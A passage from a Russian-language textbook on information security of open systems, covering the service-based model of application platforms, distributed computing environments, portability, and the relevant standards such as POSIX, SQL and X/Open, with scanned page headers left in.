Смысл самого понятия "платформа" неоднократно изменялся в процессе эволюции вычислительной техники. Первоначально (50-60-е гг.) под ним понималась исключительно аппаратура, на которой запускались программы и в которую при помощи внешних носителей осуществлялся ввод данных. Впоследствии, с развитием и распространением ОС, под платформой стали понимать АО вычислительной техники с установленной на нем ОС. Такое понятие закрепилось в сфере ИТ надолго, в том числе и благодаря широчайшему распространению персональных компьютеров. В соответствии с современными представлениями под платформой, как правило, понимается готовый аппаратно-программный комплекс, предназначенный для использования конечным потребителем, вероятно после небольшой "подгонки" к его конкретным требованиям, нуждам и потребностям. В англоязычной литературе поставщик готовых аппаратно-программных платформ, как правило, обозначается термином "vendor", а процесс подготовки платформы к использованию потребителем - термином "customization". Примерами различных видов платформ в современном понимании этого слова могут служить электронный блокнот, мобильный телефон, графическая рабочая станция, банкомат, автоматизированный кассовый аппарат, файловый сервер, Интернет-сервер, сервер баз данных, мейнфрейм, роботизированная дисковая библиотека, ленточная библиотека и т. п.
1.2.3.	Системный подход к описанию функциональности
НА БАЗЕ МОДЕЛЬНОГО ПРЕДСТАВЛЕНИЯ ИНФОРМАЦИОННЫХ СИСТЕМ
Несмотря на различия в представлениях о составе платформы приложений (АР) на различных этапах эволюции этого понятия, под платформой всегда понималось некое неделимое образование, главное требование к которому заключается в том, чтобы снабжать ПП и объекты внешней среды своими услугами и ресурсами через интерфейсы. В этой связи вводится понятие сервиса.
Сервис - это группа компонентов (функциональных блоков, модулей) системы, которая предоставляет другим группам (другим блокам, модулям) некоторый законченный в функциональном отношении пакет услуг, доступных через специфицированные интерфейсы, и сам может пользоваться услугами других модулей через соот
1. Стандартизация и модельное представление открытых информационных систем
29
ветствующие интерфейсы. Компоненты могут взаимодействовать между собой сложным образом, чаще всего образуя иерархическую или уровневую структуру. При этом однотипные сервисы одного уровня взаимодействуют между собой по протоколам, а разнотипные и сервисы различных уровней — через интерфейсы. В моделях открытых систем компоненты обычно выделяются по функциональному признаку (т. е. отображают не требуемую структуру этого блока, а требуемые от него функции, которые он должен выполнять). Поэтому часто говорят о функциональных моделях (среды) открытых систем.
Следует заметить, что концепция сервисов является развитием принципа модульности построения ПО. Однако сервисы - это не физические, а логические модули системы. Один логический модуль может быть реализован множеством взаимосвязанных физических модулей, и наоборот, один физический модуль может реализовывать ряд функций, относящихся к различным логическим модулям.
С принципом выделения сервисов тесно связан принцип стандартизации сервисов. Стандартизации подвергаются не сами компоненты, предоставляющие сервисы, не их внутренняя структура, а интерфейсы и протоколы, посредством которых они взаимодействуют. Это позволяет достичь следующих преимуществ:
	компоненты становятся заменяемыми, многократно используемыми (reused);
	при построении структуры системы заданным оказывается только набор сервисов, а реализацию каждого сервиса можно свободно выбирать из доступного множества на конкурентной основе, например пользователь может выбирать ПО, исходя из своих потребностей, финансовых возможностей, требуемого аппаратного обеспечения, быстродействия и т. п.
Поскольку структура АР, как правило, является очень сложной, необходимо провести ее декомпозицию: выделить основные структурные компоненты платформы (по функциональному признаку) и определить средства взаимодействия между этими структурными компонентами.
Для рассмотрения структурных компонентов АР удобно выделить в ней четыре класса сервисов (рис. 2): сервисы человекомашинного взаимодействия, сервисы данных, сетевые сервисы и внутренние сервисы платформы.

Приложение
1

Приложение
2

Приложение
3

API
Сервисы человеко-машинного взаимодействия
Сервисы данных
Сетевые сервисы
Внутренние сервисы платформы
EEI
		
	Пользователи	
		
	Внешние объекты данных	
		
	Коммуникационные средства	
		
Рис. 2. Декомпозиция модели ИС
Три из них: сервисы человекомашинного взаимодействия, сервисы данных и сетевые сервисы - обеспечивают связь между функциями АР и внешней средой, с ко
30
Информационная безопасность открытых систем
торой она взаимодействует. Они связаны с соответствующими классами объектов внешней среды: соответственно с пользователями, внешними объектами данных и коммуникационными средствами. Четвертый набор сервисов - внутренние сервисы платформы - предоставляют ПП функции, которые полагаются только на ту АР, на которой ПП непосредственно исполняются. С внешней средой этот класс сервисов, в отличие от трех других, взаимодействовать не может.
Следует заметить, что взаимосвязь между классами сервисов АР и классами объектов ЕЕ не является однозначной, так как для выполнения своих функций эти сервисы могут обращаться к любым объектам внешней среды, поэтому на рис. 2 показана единая связь между АР и ЕЕ. Такое разбиение обеспечивает удобство классификации стандартов.
Теперь необходимо определить средства взаимодействия между структурными компонентами АР. Таких средств, как уже отмечалось выше, известно два вида: интерфейсы - набор правил взаимодействия между компонентами - и протоколы - последовательность действий компонентов с целью решения общей задачи.
Поскольку АР ответственна за целостность и консистентность сервисов, которые она обеспечивает, эти сервисы должны быть доступны и контролируемы через определенный интерфейс. Использование интерфейсов делает зависимые от реализации характеристики платформы прозрачными для прикладного ПО и внешних объектов. Каждый компонент платформы будет иметь свой собственный набор интерфейсов прикладного программирования (API), через которые ПП могут воспользоваться его сервисами, или не иметь их вообще - тогда доступ к нему возможен только через внутренние интерфейсы платформы. Существование API в форме стандартов, поддерживаемых многими платформами, сделает возможной переносимость ПП.
Концепция АР не означает никакой специфики реализации АР и принципиально никак ее не ограничивает, кроме единственного требования: снабжать ПП и внешнюю среду сервисами через интерфейсы. Платформа может иметь очень разную структуру: от однопроцессорной до большой распределенной системы, удовлетворять специфическим требованиям эксплуатации, например систем управления производственными процессами, бортовых вычислительных систем реального масштаба времени.
1.2.4.	Расширение базовой модели информационной системы ДЛЯ ВЗАИМОДЕЙСТВУЮЩИХ СИСТЕМ
Рассмотренные выше три элемента базовой модели достаточны для рассмотрения свойства переносимости. Для рассмотрения способности к взаимодействию и концепции распределенных вычислительных систем модель необходимо расширить.
Способность к взаимодействию подразумевает наличие двух или более вычислительных систем и коммуникационных средств между ними. Модель взаимодействующих систем показана на рис. 3.
ПП из одной системы могут запрашивать сервисы удаленной платформы, используя сетевые сервисы, доступные на своей собственной платформе. Например, они могут осуществлять доступ к внутренним или внешним ресурсам на удаленной платформе, взаимодействовать с удаленной ПП или общаться с пользователем удаленной системы. Необходимое условие для этого - на удаленной платформе должен поддер-
1. Стандартизация и модельное представление открытых информационных систем 31 живаться тот же самый интерфейс сетевого сервиса, т. е. сетевые протоколы и форматы сообщений.
AS АР
Рис. 3. Взаимодействующие системы
Как уже отмечалось выше, для взаимодействия открытые системы должны не только обмениваться данными, но и одинаково "понимать" выполняемую работу. Для этого необходимы дополнительные протоколы и форматы, зависящие от характера выполняемой работы. Заметим, что в данном случае ПП "осведомлена" о расположении партнера (сервиса или другой ПП), так как, если он находится на удаленной системе, ПП пользуется сетевым сервисом своей АР. Способность к взаимодействию между открытыми системами достигается через коммуникационные средства внешней среды.
Пусть теперь модули, которые реализуют определенный сервис внутри одной платформы, могут использовать сетевые сервисы для доступа к удаленной платформе, если это требуется для удовлетворения запроса сервиса от ПП.
Наглядным примером такой ситуации может быть доступ к файлам в локальной вычислительной сети (ЛВС). Если файла, запрашиваемого пользователем или ПП на рабочей станции ЛВС, не оказалось на локальном диске, запрос перенаправляется на файловый сервер. Если при взаимодействии применяется специальный протокол файлового сервиса, пользователь (ПП) осуществляет доступ к файлу через тот же самый интерфейс, который применяется для локально расположенных файлов. Так локальная платформа скрывает тот факт, что некоторые файлы расположены в удаленной вычислительной системе, и обеспечивает пользователю прозрачность файловой системы.
Расширение этого примера на все категории сервисов, предоставляемые платформой ПП, приводит к концепции распределенной вычислительной системы (РВС). Схематическая модель РВС показана на рис. 4. В ранее обсуждавшемся случае взаимодействующих систем две платформы рассматриваются как разделенные объекты, соединенные коммуникационными связями. В случае РВС они уже рассматриваются как единая, унифицированная платформа. Это различие имеет значение только с точки зрения ПП. Технически система в обоих случаях может быть одинакова, а формирование РВС обеспечивается только системным ПО.
РВС может существовать как в однородной, так и в разнородной (гетерогенной), сложной среде ИТ. Концепция открытых систем направлена прежде всего на обеспечение совместимости (переносимости и способности к взаимодействию) систем в гетерогенной среде. Расширение этой концепции, направленное на организацию РВС
32	Информационная безопасность открытых систем
в гетерогенной среде, приводит к понятию распределенных вычислительных сред (или распределенных сред, или сред распределенных систем).
Рис. 4. Распределенная система
Естественно потребовать, чтобы распределенная вычислительная среда обладала рядом дополнительных свойств помимо переносимости и способности к взаимодействию, которые обеспечивали бы формирование образа единой системы для любого пользователя и любой ПП (рис. 5). Среди таких свойств чаще всего отмечают:
	доступность, которая означает, что пользователи видят РВС как единое, связанное вычислительное средство с единой точкой входа, единственной процедурой входа в систему (logon), с ресурсами, доступными через согласованную и универсальную схему именования ресурсов, независимую от местоположения и метода доступа;
	прозрачность, которая означает, что сервисы системы предоставляют хорошо определенные, простые, функциональные интерфейсы, независимые от деталей реализации; пользователи и их приложения не видят общей сложности и неоднородности РВС; напротив, они видят ее как продолжение, расширение своей собственной системы;
	масштабируемость, которая подразумевает, что система может приспосабливаться к выбору различных конфигураций АО от сравнительно простого и дешевого до сложного, с развитыми возможностями, надежного и высокопроизводительного; система допускает развитие и расширение с ростом требований или расширением задач потребителя;
	управляемость, которая включает степень приспособленности системы для планирования, координации ее работы, оперативного управления, поддержки разнородного оборудования, конфигурирования, мониторинга системы, обработки ошибок и исключительных ситуаций и т. д.; в сложных системах включает также степень автоматизации управления, возможность самостоятельного выполнения системой некоторых функций управления, возможность управления системой из одной точки и пр.;
	безопасность, которая включает комплекс вопросов, связанных с обеспечением конфиденциальности, целостности данных, аутентичности пользователей и данных, контроля доступа к ресурсам, аудита, администрирования всех этих функций и пр.;
	надежность и готовность, которые означают, что система является постоянно и непрерывно доступной для пользователей и ПП и сконструирована таким образом, что не теряет функциональности в случае отказа некоторых компонентов системы;
1. Стандартизация и модельное представление открытых информационных систем 33
	сервисностъ, которая означает наличие в системе встроенных механизмов отслеживания, обнаружения, фиксации возникновения и течения нештатных ситуаций и восстановления после них (так как смоделировать нештатную ситуацию в случае ее возникновения в такой сложной системе крайне затруднительно);
	учетность, которая подразумевает наличие в системе механизмов, позволяющих вести учет и/или отслеживание интенсивности потребления пользователями ресурсов системы независимо от их местоположения в системе.
Рис. 5. Формирование образа единой РВС
Таким образом, основными характеристиками распределенной вычислительной среды являются:
	обеспечение образа единой системы для пользователей и ПП с консистентным наборов API и EEI для сервисов;
	всеобщая доступность сервисов распределенной вычислительной среды при наличии разнородного АО, ОС и вычислительных сетей;
	легкость распределения функций ПП в распределенной вычислительной среде.
Образ единой системы подразумевает, что за счет обеспечения переносимости и способности к взаимодействию достигаются следующие качества РВС:
1) от пользователя скрываются различия между отдельными системами;
2) стандартизируется способ их восприятия пользователями, ПП и другими системами.
Цель сокрытия различий состоит не в полной их ликвидации или выравнивании, а, наоборот, в использовании уникальных возможностей и характеристик каждой индивидуальной вычислительной системы. Пользователю только представляется образ единой системы.
1.3.	Переносимость
Как было показано ранее, понятие переносимости в концепции открытых систем обычно рассматривается в трех аспектах: переносимость ПП, данных и пользователей. Рассмотрим теперь способы реализации этого свойства, которые применяются в реальных открытых системах. Затем, основываясь на изложенной в п. 1.2 базовой модели открытой ИС, проведем ее функциональную декомпозицию и подробно рассмотрим номенклатуру сервисов платформы приложений, которые обеспечили бы максимально полную переносимость ПП, данных и пользователей между открытыми системами.
2—2368
34
Информационная безопасность открытых систем
1.3.1.	Способы реализации переносимости
Исходными предпосылками для анализа способов реализации переносимости являются следующие факты. ПП получают доступ к сервисам и ресурсам платформы приложений через API. Использование API гарантирует, что платформа может поддерживать единообразный и контролируемый доступ к сервисам для всех ПП, которые потребуют этого. АР также обеспечивает сервисы и для внешней среды (ЕЕ). И наоборот, если того требует запрос, платформа может осуществлять доступ к ресурсам ЕЕ через соответствующие интерфейсы. ЕЕ рассматривается как состоящая из трех типов объектов: пользователей, внешних объектов данных и коммуникационных средств.
Таким образом, логично предположить, что переносимость ПП могла бы быть реализована посредством обеспечения сервисов и/или их API на многих АР. Переносимость данных может достигаться путем поддержки платформой приложений форматов и протоколов обмена данными между системами. Наконец, переносимость пользователей обеспечивалась бы АР за счет сервисов, инструментов (например, средств администрирования, средств разработки ПП) и интерфейсов, общих на нескольких платформах. Рассмотрим теперь способы достижения всех трех аспектов переносимости более подробно.
Переносимость прикладных программ. Цель реализации этого свойства в среде открытых систем заключается в том, чтобы обеспечить одинаковый набор сервисов (функциональных модулей) на множестве разнородных АР.
Для детального рассмотрения стандартов и компонентов интерфейса между ПП и АР было бы естественным разбить API на фрагменты, соответствующие четырем основным классам сервисов, предоставляемых АР:
	API сервисов человекомашинного взаимодействия;
	API сервисов данных;
	API сетевых сервисов;
	API внутренних сервисов платформы.
Первые три из них естественным образом соответствуют трем классам объектов внешней среды. Последний - API внутренних сервисов платформы приложений - позволяет ПП осуществлять доступ к сервисам, которые АР поддерживает, используя только свои собственные внутренние ресурсы. Сразу оговоримся, что API сетевых сервисов не рассматриваются в данной главе, так как к свойству переносимости они непосредственного отношения не имеют: в контексте переносимости системы считаются не связанными между собой.
Заметим, что связь как между классами сервисов АР и классами объектов ЕЕ, так и между классами API и классами объектов ЕЕ не является однозначной. Например, если ПП запрашивает файл, который, как оказывается, хранится в удаленной системе, сервисы данных, доступные через API сервисов данных, будут обеспечивать доступ к этому файлу прозрачно для ПП. Но этот сервис, в свою очередь, воспользуется сетевым сервисом, доступным через API сетевого сервиса, для передачи данных через коммуникационные средства. Итак, API делают возможным переносимость ПП за счет стандартизации интерфейсов между AS и АР.
Каким образом можно обеспечить переносимость конкретных программных продуктов? Известны четыре подхода к решению этой проблемы:
1. Стандартизация и модельное представление открытых информационных систем
35
	спецификация открытых программных интерфейсов для неограниченного использования разработчиками ПО;
	создание программных продуктов, которые могут работать на нескольких программных и аппаратных платформах;
•	применение стандартных интерфейсов в программных продуктах (SQL, OSF/DCE, POSIX J 003 и т. п.) в дополнение к их собственным интерфейсам;
	совмещение двух последних подходов.
Забегая несколько вперед, отметим, что перечисленные методы в основном применимы и для обеспечения способности к взаимодействию между программными модулями. Кроме того, способность к взаимодействию чаще всего подразумевает уровневую структуру ПО - тогда, кроме того, появляется выбор возможностей реализации этого свойства. Например, если требуется взаимодействие удаленной ПП с СУБД, возможны следующие альтернативы: взаимодействие на коммуникационном уровне (непосредственная передача данных приложением через низкоуровневый коммуникационный интерфейс), взаимодействие на уровне менеджера транзакций (последовательное выполнение транзакций) или взаимодействие на уровне СУБД (отработка запроса, написанного на языке манипулирования данными, например SQL). Один из лучших известных подходов к многоуровневой организации ПО в открытых системах - стандартизованный набор интерфейсов для распределенных вычислений модели OSF DCE.
Часто по многим причинам невозможно составить исходный текст ПП на языке программирования так, чтобы она было полностью переносима в исходных кодах. Действительно, ПП будет исполняться быстрее (иногда значительно), если ее код оптимизирован для архитектуры конкретной платформы. Кроме того, нельзя исключить ситуации, что ПП потребуется некоторый специфический сервис, для которого не существует стандарта, но который предоставляется некоторой платформой. В этих условиях ПП необходимо конструировать так, чтобы максимально локализовать платформозависимые участки кода и структурировать всю ПП таким образом, чтобы эти участки встречались в минимальном количестве модулей. Это обязательно должно быть отражено в документации разработчика. Только такой подход обеспечивает обозримость ПП и сравнительную простоту ее адаптации к конкретной аппаратно-программной платформе.
Подведем итоги. API делают зависимые от реализации характеристики АР прозрачными для ПП и объектов внешней среды. Каждый компонент имеет свой собственный набор API, через который ПП может воспользоваться его сервисами. Существование API в форме стандартов, поддерживаемых многими АР, делает возможной переносимость ПП за счет единства интерфейсов между AS и АР.
Итак, основной способ реализации свойства переносимости ПП в среде открытых систем заключается в обеспечении единства API между AS и АР, что достигается за счет структуризации и стандартизации интерфейсов прикладного программирования (API).
Переносимость данных. О достижении этого свойства можно говорить при обеспечении поддержки платформой приложений множества форматов и протоколов обмена данными между открытыми системами.
Переносимость пользователей. Цель реализации этого аспекта переносимости состоит в том, чтобы достичь легкости адаптации конечных пользователей ИС,
36
Информационная безопасность открытых систем
ее технического и обслуживающего персонала к работе со множеством разнородных АР. Сервисы платформы приложений, инструменты обслуживания системы и интерфейсы с пользователем должны быть максимально похожими (в идеале - едиными) на нескольких АР.
Таким образом, переносимость пользователей и данных достигается за счет стандартизации форматов и протоколов, составляющих EEI между АР и ЕЕ (см. рис. 1 и 2). Для пользователей эти форматы и протоколы принимают вид, например, форматов экрана, поведения объектов на экране, стиля общения с пользователем и т. п. Для данных - это форматы и структуры данных, в которых они записываются на одной платформе, хранятся на носителе и считываются на другой платформе.
1.3.2.	Классификация сервисов платформы приложений
ПО КРИТЕРИЯМ ПЕРЕНОСИМОСТИ
Рассмотрим теперь подробнее с точки зрения переносимости ПП, пользователей и данных все классы сервисов АР и соответствующих им API (за исключением сетевого сервиса и API сетевого сервиса, который не имеет отношения к обеспечению переносимости и будет нами рассмотрен позднее). Все виды сервисов удобно рассматривать по единому плану: предоставляемые услуги и выполняемые функции; API сервиса; стандарты по данному виду сервиса.
1.	Внутренние сервисы платформы предоставляются ПП платформой на основе только своих собственных, внутренних ресурсов. Эти сервисы, в отличие от других классов сервисов, никогда не предоставляются внешней среде. В данную категорию входят следующие системные сервисы и сервисы языков программирования.
Системные сервисы - это те сервисы, которые обычно обеспечиваются ядром ОС и связанными с ней низкоуровневыми подсистемами, такими, как драйверы устройств. В эту группу входят сервисы управления процессами и ресурсами, обработки ошибок и исключительных ситуаций, межпроцессного взаимодействия и др. Для поддержки переносимости требуются стандарты на спецификации API тех сервисов, которые будет обеспечивать ОС для ПП. API системных сервисов - это механизм, через который ПП запрашивают ресурсы платформы: память, файловую систему, устройства ввода-вывода. Все эти сервисы обычно обеспечиваются ядром ОС и низкоуровневыми драйверами логических устройств. В РВС такие сервисы могут обеспечиваться для ПП как локальной, так и удаленной по отношению к ПП системой. Но ПП не должны знать расположение сервиса: является ли он локальным или удаленным. ПП воспринимают РВС как единую платформу.
В группе системных можно выделить следующие сервисы:
	управления процессами и нитями;
	управления памятью;
	межпроцессного взаимодействия (IPC, interprocess communications);
	управления событиями, ошибками и исключительными ситуациями;
	управления временем;
	логического именования ресурсов;
	управления устройствами;
	управления файловыми системами;
	конфигурирования системы.
1. Стандартизация и модельное представление открытых информационных систем	37
Часть сервисов обеспечивается ОС автоматически, независимо от воли разработчика ПП и независимо от самих ПП. Это сервисы, поддерживающие базовую функциональность, целостность и устойчивость работы системы, например предотвращение возможности перекрытия сегментов команд и данных разных ПП в оперативной памяти. Они в том числе обеспечивают многопользовательские и многозадачные возможности ОС. Другая часть сервисов выполняется по вызову от ПП через API, например открытие файла, чтение, запись данных в файл и т. п.
Наиболее важным стандартом по системным сервисам для открытых систем является документ IEEE POSIX (Portable Operating System Interface for Computer Environment). Системные сервисы описаны в части 1003.1-1990 этого стандарта (утверждена в качестве международного стандарта ISO/IEC 9945-1:1990). Эта часть специфицирует вызовы к ОС со стороны ПП и требуемую функциональность при выполнении этих вызовов, номера ошибок и исключительных ситуаций, типы данных и пр. Стандарт в значительной степени основывается на реализациях Unix System V и BSD ОС Unix. Однако это не означает, что другие, не Unix-подобные ОС не могут достичь совместимости с POSIX. Они могут обеспечивать POSIX-совместимые сервисы и API в дополнение к существующим в них собственным, как это сделано, например, в OS/400, OpenEdition/MVS, Open VMS.
Х/Open разработала спецификацию для API системных сервисов, основываясь на стандарте POSIX, которая получила название XSH и является частью стандарта XPG4.
Сервисы языков программирования. ПП должны быть составлены на одном или нескольких языках программирования. Кроме того, требуется некоторый механизм, с помощью которого язык программирования мог бы запрашивать системные сервисы. Для обеспечения этих сервисов требуется спецификация самого языка программирования, API языкового сервиса и механизма вызовов, которые запрашивают системные сервисы.
Языки программирования — это средства, с помощью которых разработчик описывает требуемую функциональность и логику работы ПП. Чтобы обеспечить переносимость ПП, языки программирования должны быть однородны во всех системах, т. е. должна существовать спецификация языка программирования. Спецификация может задаваться в различных формах: от описания компилятора до формальных методов. Поскольку на практике язык программирования всегда реализуется посредством трансляторов, задать API сервисов языков программирования можно путем создания стандартов на трансляторы.
Существует большое количество языков программирования. Выбор конкретных языков для разработки той или иной прикладной программы зависит от большого числа факторов. Однако для достижения переносимости желательно, независимо от языка, использовать всегда только стандартизованные подмножества языков и избегать таких функций языка, которые являются зависимыми от конкретной платформы.
Основной международной организацией, занимающейся стандартизацией языков программирования, является ISO. Сегодня существуют стандарты или проекты стандартов на следующие языки программирования: Ada, APL, Basic, С, C++, Cobol, Fortran, Modula-2, MUMPS, Pascal, PL/1.
38
Информационная безопасность открытых систем
2.	Сервисы данных - это сервисы, связанные преимущественно с доступом, манипуляцией и обменом данными. Для достижения переносимости данных ПП должны иметь:
	единообразный метод доступа к механизмам управления данными;
	способ управления отдельными транзакциями над этими данными.
Сервисы файловой системы обеспечивают базовые сервисы для хранения, доступа и манипулирования файлами, организованными в виде потока байтов или в виде записей. Стандарты на API файловых сервисов обычно являются составной частью стандартов на функциональность ОС (например, POSIX), поэтому рассматривать их отдельно мы не будем.
Сервисы баз данных. ПП могут управлять своими собственными данными. Но часто для упрощения разработки ПП, для улучшения возможности разделения данных между ними и для создания возможности поддержки множественных, сложных типов данных ПП могут использовать базы данных (БД). БД в подавляющем большинстве случаев обычно используются не сами по себе, а в совокупности с СУБД. СУБД характеризуются применяемой в них моделью структуризации данных. Наиболее важными из них являются реляционная, иерархическая, объектно-ориентированная, сетевая и семантическая. СУБД должны обеспечивать возможности для создания, удаления, доступа и манипулирования данными при условии обязательного сохранения их целостности и безопасности. Обычно выделяют следующие сервисы БД:  доступа к данным;  управления данными;
	обеспечения целостности данных;
	манипулирования данными;
	дополнительные (создания форм, отчетов, контроля доступа, словари и пр.).
API, реализующий эти функции, должен обеспечивать возможность доступа к сервисам как со стороны ПП, так и из внешней среды, включая возможность доступа и обмена данными с другими, удаленными СУБД.
Основными и доминирующими стандартами в отношении сервисов БД являются стандарты ISO 10032:1993 - Reference Model for Data Management (Нормативная модель управления данными) и ISO 9075, определяющий SQL (Structured Query Language) - непроцедурный язык манипулирования данными для реляционных СУБД. Расширенная версия SQL определена в спецификации X/Open XPG4. Существует много других версий языка SQL.
Среди интерфейсов, позволяющих обеспечить доступ к СУБД из внешней среды (в частности, из других СУБД), распространены четыре спецификации:
1)	Remote Database Access (RDA) - стандарт ISO/IEC 9579, поддерживаемый X/Open и определяющий доступ к удаленным БД;
2)	Distributed Relational Database Architecture (DRDA) - разработка фирмы IBM, описывающая распределенную архитектуру реляционных БД;
3)	Open Database Connectivity (ODBC) - разработка фирмы Microsoft, имеющая сильную поддержку в промышленности и рассматривающая отрытое взаимодействие БД;
1. Стандартизация и модельное представление открытых информационных систем
39
4)	Integrated Database API - совместная разработка фирм Borland, Novell, WordPerfect, регламентирующая интегрированный интерфейс прикладного программирования для БД.
Сервисы обработки транзакций позволяют вычислительным системам выполнять операции с данными, требующие высокой степени целостности. Транзакция -это логическая единица работы ПП, которая должна быть либо выполнена целиком, либо не выполнена вообще. Она может включать в себя несколько или множество действий, которые рассматриваются как выполнение одной логической задачи. Основными и наиболее полными стандартами по обработке транзакций являются:
ISO 10026 - OSI Distributed Transaction Processing (OSI-TP). Этот стандарт определяет модель, сервисы и коммуникационные протоколы для распределенной среды обработки транзакций. Основными элементами в модели обработки транзакций являются ПП, менеджеры ресурсов, к которым осуществляется доступ, и менеджер транзакций, обеспечивающий основные качества транзакций: неделимость, целостность, блокирование ресурсов, неизменяемость состояния ресурсов.
X/Open Transaction Processing Group (ХТР). В него входят: нормативная модель обработки транзакций (X/Open DTP), ТХ - спецификация API между ПП и менеджером транзакций, ХА - спецификация интерфейса между менеджером транзакций и менеджерами ресурсов, которая предоставляет менеджеру транзакций возможность структурировать работу менеджеров ресурсов внутри транзакции.
Сервисы печати предназначены для упрощения печати данных ПП на различных типах носителей и просмотра их пользователем перед печатью. Эта группа включает следующие сервисы:
	описания требуемых выходных данных и параметров печати;
	поддержки очередей и множества устройств печати;
	спецификации характеристик заданий на печать;
	управления заданиями на печать;
	управления очередями заданий;
	управления шрифтами;
	контроля доступа к устройствам печати;
	поддержки учетной информации и пр.
API для сервисов печати должен включать поддержку перечисленных сервисов для ПП и ряда специальных сервисов для администрирования подсистемы печати: конфигурирование подсистемы, управление доступом к учетной информации и пр.
Среди стандартов по сервисам печати следует выделить ISO 10175 — Document Printing Application (DPA) и ISO 10180 - Standard Page Description Language (SDPL), основанный на языке PostScript, а также IEEE Pl003.7 - администрирование печати.
Сервисы обмена данными поддерживают способность перемещать данные между системами через внешнюю среду путем записи их на распознаваемый обеими системами носитель в формате, дающем возможность обеим системам одинаково интерпретировать данные. Различают два аспекта рассматриваемой проблемы: преобразование кодировки символов из одного машинного представления в другое и распознавание полученной информации ПП. Наиболее значительными являются следующие стандарты по форматам обмена данными-.
40
Информационная безопасность открытых систем
ISO 9735 - EDIFACT (Electronic Data Interchange for Administration, Commerce and Transportation) - набор стандартов, определяющих формат и структуру документов, используемых в делопроизводстве и электронном документообороте;
ISO 8613 — ODA/ODIF (Open Document Architecture/Open Document Interchange Format) - набор стандартов по структуризации и прозрачному для пользователей обмену сложными составными документами, включающими несколько типов информации: текст, рисунки, геометрическую графику;
ISO 8879 - SGML (Standard Generalized Markup Language) - язык представления структуры, содержания и формата документа.
3.	Сервисы человекомашинного взаимодействия - это важная группа сервисов, обеспечивающих возможность общения человека с компьютерной ИС и форму организации работы пользователя.
Сервисы командного интерфейса могут принимать различные формы: от простой интерпретации введенных пользователем команд до развитого командного языка, который могут использовать ПП. Эти сервисы требуют обеспечить API для ПП и интерфейс для внешней среды. По этой причине открытый командный интерфейс должен предоставлять по крайней мере следующие возможности:
	команды для манипулирования файлами и их содержимым и доступа к ним;
	команды для манипулирования директориями и доступа к ним;
	диспетчеризация команд;
	пакетный режим обработки команд;
	доступ к информации о среде пользователя;
	примитивы языков программирования для написания простых программ на командном языке.
Основной стандарт в этой области - ISO/IEC 9945-2 (основан на IEEE Pl003.2).
Сервисы текстового пользовательского интерфейса предоставляют простые средства общения пользователя с вычислительной системой при помощи ввода и отображения текстовых данных. Исторически это первая форма организации пользовательского интерфейса. Сейчас она в значительной степени вытеснена графическими интерфейсами даже в самых простых вычислительных устройствах, поэтому здесь детально не рассматривается.
Сервисы графического пользовательского интерфейса (Graphical User Interface, GUI) обеспечивают для ПП возможность создавать визуальные объекты на экранах компьютеров и манипулировать этими объектами. Пользователи должны иметь единый, легко понятный им стиль общения с вычислительной системой через такой интерфейс. На сегодняшний день GUI является общепринятой формой организации пользовательского интерфейса практически во всех вычислительных системах: от мобильных телефонов до суперкомпьютеров. АР должна иметь два интерфейса с сервисами GUI:
	API сервиса визуальных объектов (часто также называется "оконный интерфейс") позволяет ПП использовать сервисы GUI;
	EEI обеспечивает форматы и протоколы обмена данными между сервисами GUI множества систем и формирование единообразной рабочей среды для пользователей различных систем.
1. Стандартизация и модельное представление открытых информационных систем
41
Среди стандартов на открытые сервисы GUI важное значение имеют протоколы X Window - это стандарты де-факто, специфицированные и реализованные консорциумом Х/Open. Интерфейсы, основанные на этом стандарте, преобладают среди Unix-подобных платформ. На персональных системах стандартами де-факто являются API ОС Microsoft Windows и MacOS. Для других классов систем, например для мобильных телефонов, никаких стандартов на графический интерфейс пока нет, и каждый производитель следует своим собственным представлениям о его организации.
Сервисы графики поддерживают работу ПП с графическими объектами: растровую и векторную графику. Они имеют большое значение для многих типов ПП и очень развитой набор функций. API сервисов графики должен обеспечивать интерфейс для доступа ПП к этим сервисам. EEI должен поддерживать форматы и протоколы, необходимые для управления устройствами, отображения графической информации на удаленных устройствах и обмена графическими данными между системами. Ситуация со стандартизацией сервисов графики характеризуется наличием очень большого количества стандартов, важное место среди которых занимают стандарты ISO.
Сервисы разработки прикладных программ - это сервисы, которые связаны с обеспечением жизненного цикла ПП, и в особенности этапа их разработки. Переносимость понимается здесь в двух аспектах. Первый - создание переносимого прикладного ПО. Второй - обеспечение переносимости в самом процессе создания ПО, когда, например, различные модули могут создаваться на разных платформах, а компиляция, отладка, тестирование, документирование - на других платформах. Весьма перспективным направлением развития сервисов разработки ПП является создание систем автоматизации проектирования ПО — CASE (Computer Aided Software Engineering). Соответствующие стандарты в основном находятся в стадии разработки; среди уже существующих можно отметить стандарты POSIX.
4.	Межкатегориальные сервисы. Рассмотренные сервисы АР допускают довольно четкую, хотя и не единственно возможную классификацию. Следующая группа сервисов - это так называемые межкатегориальные сервисы. Они принципиально отличаются от указанных выше.
Межкатегориальные сервисы имеют определенное влияние на все остальные сервисы, которые предоставляются платформой приложений. Каждый сервисный компонент должен быть сконструирован с учетом этих межкатегориальных сервисов.
Все остальные сервисы предоставляют свои компоненты для того, чтобы межкатегориальные сервисы могли эффективно выполнять свои функции.
Сервисы поддержки национальных особенностей подразумевают учет особенностей национальных языков, форматов представления числовых величин, дат, времени и прочего в различных странах. Часто можно слышать, например, о "русификации" того или иного программного продукта или изделия: речь идет как раз о разработке соответствующего сервиса поддержки национальных особенностей. Они не имеют значительного влияния на структурную организацию системы (при их отсутствии система все равно остается работоспособной), поэтому в некоторых моделях открытых ИС они вообще не рассматриваются.
Две другие категории сервисов, напротив, очень важны для функционирования системы; с ними связано большое число стандартов.
42
Информационная безопасность открытых систем
Сервисы защиты. Их целью является защита техническими средствами информации, обрабатываемой в РВС. Сервисы защиты должны быть предусмотрены с самого начала жизненного цикла системы. Они должны быть взаимоувязаны со всеми функциями и сервисами, которые предоставляет АР. В силу большого различия в целях, функциях, размере, сложности, а также разнородности программного и аппаратного обеспечения СОД, очевидно, невозможно выработать единого критерия, когда систему следует считать безопасной.
